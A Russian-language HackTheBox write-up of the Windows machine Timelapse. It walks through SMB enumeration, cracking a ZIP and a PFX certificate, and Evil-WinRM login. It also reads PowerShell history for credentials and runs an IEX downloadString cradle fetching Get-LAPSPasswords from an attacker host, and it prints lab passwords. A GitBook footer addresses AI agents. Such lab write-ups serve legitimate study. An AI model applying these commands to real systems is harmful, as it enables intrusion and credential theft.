> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # Разбор TimeLapse на HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление SMB * Взлом ZIP-файла, защищённого паролем (fcrackzip) * Взлом и чтение файла .PFX (crackpkcs12) * Получение SSL-доступа с помощью Evil-WinRM * Утечка информации — чтение истории Powershell пользователя (поворот через пользователя) * Использование LAPS для получения паролей (Get-LAPSPasswords.ps1) (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**Анализ открытых портов с помощью extractport:**/ Использование функции extractport для краткого отображения открытых портов и копирования их в буфер обмена.

**Сканирование версий портов с помощью Nmap:**/ Используйте Nmap для сканирования версий служб и сохранения вывода в файл "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### Настройка файла /etc/hosts для разрешения DNS.

## **Перечисление и эксплуатация:** ### Определить имя машины и домен Использование CrackMapExec для определения имени машины и ее домена. ```bash crackmapexec smb 10.10.11.152 ```

### Список общих файлов по SMB: Использование smbclient и smbmap для перечисления общих файлов. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **Доступ к общей папке и обнаружение ZIP-файла, защищенного паролем** Исследование и определение файлов в общей папке, выявившее защищенный ZIP-файл. ```bash smbclient //10.10.11.152/Shares -N ```

### **Взлом ZIP-файла с помощью fcrackzip** Использование fcrackzip для попытки найти пароль ZIP-файла. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **Извлечение из файла PFX**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **Подбор пароля файла PFX:** #### Для подбора пароля файла pfx будет использоваться инструмент crackpkcs12. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **Получение закрытого ключа и сертификата из файла PFX** Восстановление закрытого ключа

Восстановление сертификата ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **SSL-соединение с Evil-WinRM с использованием закрытого ключа и сертификата**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **Получить первый флаг** Получение первого флага, "user.txt"

## Повышение привилегий: **Список пользователей DC и привилегий с помощью net users и whoami /priv** Определение пользователей и привилегий на контроллере домена.

#### **Анализ групп пользователей и обнаружение членства пользователя "svc/ deploy" в группе "LAPS/ Readers"**

#### **Получение пароля пользователя "svc/ deploy" путем чтения истории PowerShell** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **Проверка пароля с помощью CrackMapExec** Подтверждение действительности пароля, полученное с помощью CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **Вход в Evil-WinRM с использованием учетных данных пользователя "svc/ deploy"** Подключение к удаленной системе с использованием учетных данных пользователя "svc/ deploy" через Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Использование Get-LAPSPasswords для извлечения паролей** {% embed url="" %} #### **Загрузка скрипта Get-LAPSPasswords** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **Выполнение скрипта и получение административных паролей**

### **Проверка административного пароля с помощью CrackMapExec** Подтверждение действительности пароля, полученное с помощью CrackMapExec для пользователя Administrator. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **Финальное подключение с Evil-WinRM с использованием учетных данных администратора** Финальное подключение к системе с административными учетными данными через Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **Получен финальный флаг :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.